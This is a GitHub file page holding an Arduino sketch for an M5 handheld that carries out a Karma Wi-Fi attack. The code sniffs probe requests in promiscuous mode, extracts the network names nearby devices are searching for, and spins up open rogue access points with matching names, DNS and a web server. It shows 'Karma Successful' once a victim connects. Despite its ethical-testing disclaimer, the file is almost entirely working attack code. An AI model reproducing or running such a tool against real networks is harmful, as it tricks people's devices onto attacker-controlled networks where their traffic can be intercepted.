-
Notifications
You must be signed in to change notification settings - Fork 55
/
Evil-Face-Dial-v1-0.ino
586 lines (487 loc) · 19 KB
/
Evil-Face-Dial-v1-0.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
/*
Evil-M5Core2 - WiFi Network Testing and Exploration Tool
Copyright (c) 2024 7h30th3r0n3
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Disclaimer:
This tool, Evil-M5Core2, is developed for educational and ethical testing purposes only.
Any misuse or illegal use of this tool is strictly prohibited. The creator of Evil-M5Core2
assumes no liability and is not responsible for any misuse or damage caused by this tool.
Users are required to comply with all applicable laws and regulations in their jurisdiction
regarding network testing and ethical hacking.
*/
#include <SPIFFS.h>
#include <M5Unified.h>
#include <Avatar.h>
#include <Wire.h>
#include <WiFi.h>
#include <WebServer.h>
#include <DNSServer.h>
extern "C" {
#include "esp_wifi.h"
#include "esp_system.h"
}
using namespace m5avatar;
Avatar avatar;
bool isAvatarActive = true;
unsigned long angryExpressionStartTime = 0;
unsigned long lastExpressionChangeTime = 0;
const unsigned long angryDuration = 3000;
const unsigned long expressionDuration = 20000;
const Expression expressions[] = {
Expression::Sleepy,
Expression::Happy,
Expression::Sad,
Expression::Doubt,
Expression::Neutral
};
const int expressionsSize = sizeof(expressions) / sizeof(Expression);
float scale = 0.5f;
int8_t position_top = 0;
int8_t position_left = -40;
uint8_t display_rotation = 0;
Face* faces[4];
char SpeechTextKarama[64] = "";
char currentSpeechText[64] = "";
char lastSSID[33] = {0};
char lastDeployedSSID[33] = {0};
bool newSSIDAvailable = false;
bool isAPDeploying = false;
bool isWaitingForProbeDisplayed = false;
unsigned long lastProbeDisplayUpdate = 0;
int probeDisplayState = 0;
bool isInitialDisplayDone = false;
std::vector<std::string> whitelist = {"neighbours-box", "7h30th3r0n3", "Evil-M5Core2"};
char captivePortalPassword[64] = "";
char clonedSSID[33] = "Evil-M5Dial";
const int autoKarmaAPDuration = 20000;
bool isAutoKarmaActive = false;
enum DisplayState {
DISPLAY_NONE,
DISPLAY_WAITING_FOR_PROBE,
DISPLAY_AP_STATUS
};
DisplayState currentDisplayState = DISPLAY_NONE;
void stopAvatar() {
if (isAvatarActive) {
avatar.stop();
isAvatarActive = false;
}
}
void startAvatar() {
if (!isAvatarActive) {
avatar.start();
isAvatarActive = true;
}
}
void setup() {
auto cfg = M5.config();
M5.begin(cfg);
if (!SPIFFS.begin(true)) {
Serial.println("An Error has occurred while mounting SPIFFS");
return;
}
const char* imagePath = "/EvilM5hub-240-135px.bmp";
if (SPIFFS.exists(imagePath)) {
Serial.println("Image file found, displaying image.");
int16_t x_center = (M5.Display.width() - 240) / 2;
int16_t y_center = (M5.Display.height() - 135) / 2;
M5.Display.setRotation(display_rotation);
M5.Display.clear();
M5.Display.drawBmpFile(SPIFFS, imagePath, x_center, y_center);
delay(5000);
M5.Display.clear();
} else {
Serial.println("Image file not found, skipping image display.");
}
faces[0] = avatar.getFace();
avatar.setScale(scale);
avatar.setPosition(position_top, position_left);
avatar.init();
isAvatarActive = true;
esp_wifi_set_promiscuous(false);
Serial.begin(115200);
Serial.println("Setup complete");
}
void loop() {
M5.update();
WiFi.mode(WIFI_STA);
if (!isAutoKarmaActive && isAvatarActive) {
if (SpeechTextKarama[0] != '\0') {
if (strcmp(SpeechTextKarama, currentSpeechText) != 0) {
Serial.println("Setting avatar speech text.");
avatar.setMouthOpenRatio(0.2f);
avatar.setSpeechText(SpeechTextKarama);
strcpy(currentSpeechText, SpeechTextKarama);
Serial.printf("SpeechTextKarama is not empty: %s, setting mouth open.\n", SpeechTextKarama);
}
} else if (currentSpeechText[0] != '\0') {
avatar.setMouthOpenRatio(0.0f);
avatar.setSpeechText("");
currentSpeechText[0] = '\0';
Serial.println("SpeechTextKarama is empty or invalid.");
}
if (millis() - angryExpressionStartTime > angryDuration) {
if (millis() - lastExpressionChangeTime > expressionDuration) {
int randomExpressionIndex = random(expressionsSize);
if (avatar.getExpression() != expressions[randomExpressionIndex]) {
Serial.printf("Changing expression to index: %d\n", randomExpressionIndex);
avatar.setExpression(expressions[randomExpressionIndex]);
lastExpressionChangeTime = millis();
}
}
}
}
if (M5.BtnA.wasPressed()) {
Serial.println("Button A was pressed.");
if (isAutoKarmaActive) {
Serial.println("Stopping AutoKarma");
stopAutoKarma();
} else {
Serial.println("Starting AutoKarma");
startAutoKarma();
}
}
delay(33);
}
void createCaptivePortal() {
const char* ssid = (strlen(clonedSSID) > 0) ? clonedSSID : "Evil-M5Core2";
WiFi.mode(WIFI_MODE_APSTA);
if (!isAutoKarmaActive) {
if (strlen(captivePortalPassword) == 0) {
WiFi.softAP(ssid);
} else {
WiFi.softAP(ssid, captivePortalPassword);
}
Serial.printf("Captive portal created with SSID: %s\n", ssid);
}
}
void drawRing(uint16_t color) {
int16_t centerX = M5.Display.width() / 2;
int16_t centerY = M5.Display.height() / 2;
int16_t radius = min(M5.Display.width(), M5.Display.height()) / 2;
for (int16_t r = radius; r > radius - 10; r--) {
M5.Display.drawCircle(centerX, centerY, r, color);
}
}
void startAutoKarma() {
isAutoKarmaActive = true;
angryExpressionStartTime = 0;
lastExpressionChangeTime = 0;
stopAvatar();
M5.Display.clear();
M5.Display.setRotation(display_rotation);
M5.Display.setTextSize(1.5);
M5.Display.setTextColor(TFT_WHITE);
int16_t startTextX = (M5.Display.width() - M5.Display.textWidth("Starting Karma Attack...")) / 1.5;
int16_t startTextY = M5.Display.height() / 2;
M5.Display.setCursor(startTextX, startTextY);
M5.Display.println("Starting Karma Attack...");
Serial.println("-------------------");
Serial.println("Karma Auto Attack Started....");
Serial.println("-------------------");
esp_wifi_set_promiscuous(false);
esp_wifi_stop();
esp_wifi_deinit();
delay(300);
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
if (esp_wifi_init(&cfg) != ESP_OK) {
Serial.println("Failed to initialize WiFi!");
M5.Display.clear();
M5.Display.setCursor(startTextX, startTextY);
M5.Display.setTextSize(1.5);
M5.Display.println("Failed to initialize WiFi!");
delay(2000);
isAutoKarmaActive = false;
return;
}
if (esp_wifi_start() != ESP_OK) {
Serial.println("Failed to start WiFi!");
M5.Display.clear();
M5.Display.setCursor(startTextX, startTextY);
M5.Display.setTextSize(1.5);
M5.Display.println("Failed to start WiFi!");
delay(2000);
isAutoKarmaActive = false;
return;
}
if (esp_wifi_set_promiscuous(true) != ESP_OK) {
Serial.println("Failed to set promiscuous mode!");
M5.Display.clear();
M5.Display.setCursor(startTextX, startTextY);
M5.Display.setTextSize(1.5);
M5.Display.println("Failed to set promiscuous mode!");
delay(2000);
isAutoKarmaActive = false;
return;
}
esp_wifi_set_promiscuous_rx_cb(&autoKarmaPacketSniffer);
createCaptivePortal();
loopAutoKarma();
esp_wifi_set_promiscuous(false);
}
void stopAutoKarma() {
isAPDeploying = false;
isAutoKarmaActive = false;
isInitialDisplayDone = false;
memset(lastSSID, 0, sizeof(lastSSID));
memset(lastDeployedSSID, 0, sizeof(lastDeployedSSID));
newSSIDAvailable = false;
esp_wifi_set_promiscuous(false);
Serial.println("-------------------");
Serial.println("Karma Auto Attack Stopped....");
Serial.println("-------------------");
startAvatar();
angryExpressionStartTime = millis();
lastExpressionChangeTime = millis();
}
void autoKarmaPacketSniffer(void* buf, wifi_promiscuous_pkt_type_t type) {
if (type != WIFI_PKT_MGMT || isAPDeploying) return;
const wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t*)buf;
const uint8_t *frame = packet->payload;
const uint8_t frame_type = frame[0];
if (frame_type == 0x40) {
uint8_t ssid_length_Karma_Auto = frame[25];
if (ssid_length_Karma_Auto > 0 && ssid_length_Karma_Auto <= 32) {
char tempSSID[33];
memset(tempSSID, 0, sizeof(tempSSID));
strncpy(tempSSID, (char*)&frame[26], ssid_length_Karma_Auto);
tempSSID[ssid_length_Karma_Auto] = '\0';
strncpy(lastSSID, tempSSID, sizeof(lastSSID) - 1);
newSSIDAvailable = true;
Serial.printf("New SSID detected: %s\n", lastSSID);
} else {
Serial.printf("Invalid SSID length detected: %d\n", ssid_length_Karma_Auto);
}
}
}
void loopAutoKarma() {
while (isAutoKarmaActive) {
M5.update();
if (M5.BtnA.wasPressed()) {
stopAutoKarma();
return;
}
if (newSSIDAvailable) {
newSSIDAvailable = false;
activateAPForAutoKarma(lastSSID);
isWaitingForProbeDisplayed = false;
} else {
if (!isWaitingForProbeDisplayed || (millis() - lastProbeDisplayUpdate > 1000)) {
displayWaitingForProbe();
Serial.println("-------------------");
Serial.println("Waiting for probe....");
Serial.println("-------------------");
isWaitingForProbeDisplayed = true;
lastProbeDisplayUpdate = millis();
}
}
delay(100);
}
memset(lastSSID, 0, sizeof(lastSSID));
newSSIDAvailable = false;
isWaitingForProbeDisplayed = false;
isInitialDisplayDone = false;
}
bool isSSIDWhitelisted(const char* ssid) {
for (const auto& wssid : whitelist) {
if (wssid == ssid) {
return true;
}
}
return false;
}
void activateAPForAutoKarma(const char* ssid) {
if (isSSIDWhitelisted(ssid)) {
Serial.println("-------------------");
Serial.println("SSID in the whitelist, skipping : " + String(ssid));
Serial.println("-------------------");
return;
}
if (strcmp(ssid, lastDeployedSSID) == 0) {
Serial.println("-------------------");
Serial.println("Skipping already deployed probe : " + String(lastDeployedSSID));
Serial.println("-------------------");
return;
}
isAPDeploying = true;
isInitialDisplayDone = false;
if (strlen(captivePortalPassword) == 0) {
WiFi.softAP(ssid);
} else {
WiFi.softAP(ssid, captivePortalPassword);
}
DNSServer dnsServer;
WebServer server(80);
Serial.println("-------------------");
Serial.println("Starting Karma AP for : " + String(ssid));
Serial.println("Time :" + String(autoKarmaAPDuration / 1000) + " s");
Serial.println("-------------------");
unsigned long startTime = millis();
while (millis() - startTime < autoKarmaAPDuration) {
displayAPStatus(ssid, startTime, autoKarmaAPDuration);
dnsServer.processNextRequest();
server.handleClient();
M5.update();
if (M5.BtnA.wasPressed()) {
memset(lastDeployedSSID, 0, sizeof(lastDeployedSSID));
break;
}
int clientCount = WiFi.softAPgetStationNum();
if (clientCount > 0) {
if (!isAutoKarmaActive) {
strncpy(SpeechTextKarama, ssid, sizeof(SpeechTextKarama) - 1);
}
strncpy(clonedSSID, ssid, sizeof(clonedSSID) - 1);
isAPDeploying = false;
isAutoKarmaActive = false;
isInitialDisplayDone = false;
Serial.println("-------------------");
Serial.println("Karma Successful for : " + String(clonedSSID));
Serial.println("-------------------");
memset(lastSSID, 0, sizeof(lastSSID));
newSSIDAvailable = false;
M5.Display.clear();
drawRing(TFT_GREEN);
int textSize = 2;
M5.Display.setTextSize(textSize);
while (M5.Display.textWidth("Karma Successful!") > M5.Display.width() && textSize > 1.5) {
textSize--;
M5.Display.setTextSize(textSize);
}
int16_t successTextX = (M5.Display.width() - M5.Display.textWidth("Karma Successful!")) / 2;
int16_t successTextY = M5.Display.height() / 2;
M5.Display.setCursor(successTextX, successTextY);
M5.Display.println("Karma Successful!");
textSize = 1.5;
M5.Display.setTextSize(textSize);
while (M5.Display.textWidth(clonedSSID) > M5.Display.width() && textSize > 1.5) {
textSize--;
M5.Display.setTextSize(textSize);
}
int16_t ssidTextX = (M5.Display.width() - M5.Display.textWidth(clonedSSID)) / 2;
int16_t ssidTextY = (M5.Display.height() / 2 + 20);
M5.Display.setCursor(ssidTextX, ssidTextY);
M5.Display.println("On: " + String(clonedSSID));
delay(7000);
WiFi.softAPdisconnect(true);
return;
}
delay(100);
}
strncpy(lastDeployedSSID, ssid, sizeof(lastDeployedSSID) - 1.5);
WiFi.softAPdisconnect(true);
isAPDeploying = false;
isWaitingForProbeDisplayed = false;
newSSIDAvailable = false;
isInitialDisplayDone = false;
Serial.println("-------------------");
Serial.println("Karma Failed for : " + String(ssid));
Serial.println("-------------------");
M5.Display.clear();
drawRing(TFT_RED);
int textSize = 2;
M5.Display.setTextSize(textSize);
while (M5.Display.textWidth("Karma Failed") > M5.Display.width() && textSize > 1.5) {
textSize--;
M5.Display.setTextSize(textSize);
}
int16_t failTextX = (M5.Display.width() - M5.Display.textWidth("Karma Failed")) / 2;
int16_t failTextY = M5.Display.height() / 2 - 10;
M5.Display.setCursor(failTextX, failTextY);
M5.Display.println("Karma Failed");
textSize = 1.5;
M5.Display.setTextSize(textSize);
while (M5.Display.textWidth(ssid) > M5.Display.width() && textSize > 1.5) {
textSize--;
M5.Display.setTextSize(textSize);
}
int16_t ssidFailTextX = (M5.Display.width() - M5.Display.textWidth(ssid)) / 2;
int16_t ssidFailTextY = (M5.Display.height() / 2 + 20);
M5.Display.setCursor(ssidFailTextX, ssidFailTextY);
M5.Display.println("On: " + String(ssid));
delay(2000);
isAPDeploying = false;
isInitialDisplayDone = false;
currentDisplayState = DISPLAY_WAITING_FOR_PROBE;
M5.Display.fillScreen(TFT_BLACK);
displayWaitingForProbe();
}
void displayWaitingForProbe() {
if (currentDisplayState != DISPLAY_WAITING_FOR_PROBE) {
M5.Display.fillScreen(TFT_BLACK);
currentDisplayState = DISPLAY_WAITING_FOR_PROBE;
}
M5.Display.setRotation(display_rotation);
M5.Display.setTextSize(1.5);
M5.Display.setTextColor(TFT_WHITE);
int16_t waitingTextX = (M5.Display.width() - M5.Display.textWidth("Waiting for probe")) / 2;
int16_t waitingTextY = M5.Display.height() / 2 - 30;
M5.Display.setCursor(waitingTextX, waitingTextY);
M5.Display.print("Waiting for probe");
unsigned long currentTime = millis();
if (currentTime - lastProbeDisplayUpdate > 1000) {
lastProbeDisplayUpdate = currentTime;
probeDisplayState = (probeDisplayState + 1) % 4;
int16_t dotsX = waitingTextX + M5.Display.textWidth("Waiting for probe");
int16_t dotsY = waitingTextY;
M5.Display.fillRect(dotsX, dotsY, M5.Display.textWidth("..."), M5.Display.fontHeight(), TFT_BLACK);
M5.Display.setCursor(dotsX, dotsY);
for (int i = 0; i < probeDisplayState; i++) {
M5.Display.print(".");
}
}
int16_t rectHeight = M5.Display.height() / 2;
M5.Display.fillRect(0, M5.Display.height() - rectHeight, M5.Display.width(), rectHeight, TFT_RED);
int16_t stopTextX = (M5.Display.width() - M5.Display.textWidth("Stop Auto")) / 2;
int16_t stopTextY = M5.Display.height() - rectHeight / 2 - M5.Display.fontHeight() / 2;
M5.Display.setTextColor(TFT_BLACK);
M5.Display.setCursor(stopTextX, stopTextY);
M5.Display.println("Stop Auto");
}
void displayAPStatus(const char* ssid, unsigned long startTime, int autoKarmaAPDuration) {
if (currentDisplayState != DISPLAY_AP_STATUS) {
M5.Display.clear();
currentDisplayState = DISPLAY_AP_STATUS;
}
unsigned long currentTime = millis();
int remainingTime = autoKarmaAPDuration / 1000 - ((currentTime - startTime) / 1000);
int clientCount = WiFi.softAPgetStationNum();
M5.Display.setRotation(display_rotation);
M5.Display.setTextSize(1.5);
M5.Display.setTextColor(TFT_WHITE);
M5.Display.fillScreen(TFT_BLACK);
int16_t x = (M5.Display.width() - M5.Display.textWidth(ssid)) / 2;
int16_t y = M5.Display.height() / 4;
M5.Display.setCursor(x, y);
M5.Display.println(ssid);
String timeText = "Time: " + String(remainingTime) + "s";
x = (M5.Display.width() - M5.Display.textWidth(timeText)) / 2;
y = M5.Display.height() / 2;
M5.Display.setCursor(x, y);
M5.Display.println(timeText);
String clientText = "Clients: " + String(clientCount);
x = (M5.Display.width() - M5.Display.textWidth(clientText)) / 2;
y = (3 * M5.Display.height() / 4);
M5.Display.setCursor(x, y);
M5.Display.println(clientText);
String stopText = "Press to Stop";
M5.Display.setTextSize(1);
int16_t stopTextX = (M5.Display.width() - M5.Display.textWidth(stopText)) / 2;
int16_t stopTextY = M5.Display.height() - 30;
M5.Display.setCursor(stopTextX, stopTextY);
M5.Display.println(stopText);
}